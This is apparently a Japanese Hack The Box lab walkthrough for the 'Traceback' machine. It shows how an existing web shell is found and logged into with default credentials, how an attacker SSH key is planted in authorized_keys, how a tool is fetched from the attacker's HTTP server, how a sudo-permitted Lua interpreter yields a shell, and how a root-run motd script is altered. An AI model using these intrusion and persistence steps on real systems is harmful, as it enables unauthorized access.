【Hack The Box】Traceback Walkthrough
はじめに
ポートスキャン
# nmap -sC -sV -Pn 10.10.10.181
22(ssh)、80(http)が開いている。
ブラウザで80番へアクセス
ブラウザでアクセス後、ソースを見てみると、コメントで以下が書かれていた。
<!--Some of the best web shells that you might need ;)-->
webshellの検索
上記コメントを検索してみると、以下のページが見つかる。このマシンの作者(Xh4h)のgithubのページだ。 github.com
このページにあるwebshellが存在することが予想できるため、以下のようにwebshell
という名前でワードリストを作成した。
root@kali:~/traceback# cat websehll alfa3.php alfav3.0.1.php andela.php bloodsecv4.php by.php c99ud.php cmd.php configkillerionkros.php jspshell.jsp mini.php obfuscated-punknopass.php punk-nopass.php punkholic.php r57.php smevk.php wso2.8.5.php
ディレクトリスキャン
作成したワードファイルを使ってディレクトリスキャン。
# gobuster dir -u http://10.10.10.181 -w websehll
/smevk.phpを発見。
webshellの操作
/smevk.phpにアクセスすると、認証情報を求められるが、githubページのソースに以下のような記載があり、admin/admin
でログインできた。
$UserName = "admin"; //Your UserName here.
auth_pass = "admin"; //Your Password.
smevk.phpは以下のような画面。
webadmin
というユーザの権限でシェルが操作できる。
/home/webadmin
配下にはuser.txtはなかったが/home
にはもう一人のユーザsysadmin
がいた。
このwebshellが操作しにくいので、ssh接続できるように攻撃者側の公開鍵(id_rsa.pub)を/home/webadmin/.ssh/authorized_keys
に追記する。
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOAXInxQYyXzFm+8GCb7ipAiB4tDz2iYYgGGvvBD48mJPrVdH8FwkW7dE9Oszg4FSN57bo44mg3thNOZ1dCQyjk+V1KoUeY9Vf8jNcNs1mBpBE8MQ+F/FRtWTZGk36x+mdSw/iNpqzV6XWLN5X+MDQ2nwagq/yvHD70HxE84WhlZ/5D40Xanwu9NBXncn9itqc+u9ta76NNyuGg2MBzmJxfwsSAG4v/sMP4lhCN7ez+vdObhqzImzScc6Oe1Typoood3fPNMCgX8mhAO+n/uQSMGslhLllON/Dxa48wp85F3qTZ7GhSGtTQn3iFzKal+o3mrybnJOJ9tiS2JUt5D/BEI6+YPD3fhnAfnC2vCiilijUzG89giTZIjgESNwlNShZrbTui8VS2VJml7/tFO003ifaxGcHPq0jJuA/x3bj/TfvUw1sJRqzbkF/sDSGpWZWvsLCi/JNVdEmEY/2gRC+c3Kjo3gqHq8ErfzezayhCgg1Q0S3Y/uMujwFqLcd1F8= root@kali" >> authorized_keys
追記できたことを確認。
userシェル取得まで
公開鍵認証方式でターゲットマシンにssh接続する。
ssh webadmin@10.10.10.181 -i /root/.ssh/id_rsa
メッセージが表示された後、接続に成功した。
/home/webadmin
配下にあるnote.txtを見ると、luaを練習するためのツールを置きっぱなしにしてしまったと書かれている。
webadmin@traceback:~$ cat note.txt - sysadmin - I have left a tool to practice Lua. I'm sure you know where to find it. Contact me if you have any question.
続いて、sudoの権限を確認すると、パスワードなしで/home/sysadmin/luvit
とやらが実行できそうだったので、sysadminで実行してみた。
$ sudo -l $ sudo -u sysadmin /home/sysadmin/luvit
インタプリタのようだ。上述のnote.txtにも書かれていたが、luaのインタプリタだろう。
luaのことは全く分からなかったので、以下を参考にした。 https://gtfobins.github.io/gtfobins/lua/
インタプリタ上でos.execute("/bin/bash")
を実行したら、sysadminの権限でbashのシェルが使えるようになった。
これでuser.txt取得完了。
権限昇格のための情報収集
sudo実行権限を確認しようとしたが、パスワードが求められたためだめ。
sshアクセスした際にメッセージが表示されたいたことから、sshアクセス時に何らかのスクリプトが実行されていると考え、
pspy
を使うことにする。OSは64bitだったので、pspy64
を攻撃者側環境から持ってくる。
攻撃者環境でpythonのSimpleHTTPServer
で待ち受けた状態で、以下を実行する。
$ http://10.10.14.13:8888/pspy64 $ chmod +x pspy64 $ ./pspy64
別シェルからwebadminでssh接続し、pspy
の出力をモニタリングする。root権限で青字のプロセスが実行されている。
/etc/update-motd.d
配下のファイルにアクセスしているようなので、ここを見に行く。
00-header
というファイル末尾に、ssh接続した際に表示されたメッセージの記載がある。つまり、ssh接続するとroot権限でこのスクリプトが実行されるため、ここにroot.txtを読み出すようなコマンドを書けば良さそうだ。
root.txt取得まで
/etc/update-motd.d/00-header
の末尾に以下を追加した。
$ echo "cat /root/root.txt" >> /etc/update-motd.d/00-header
追加後、別シェルでssh接続するとroot.txtが表示された。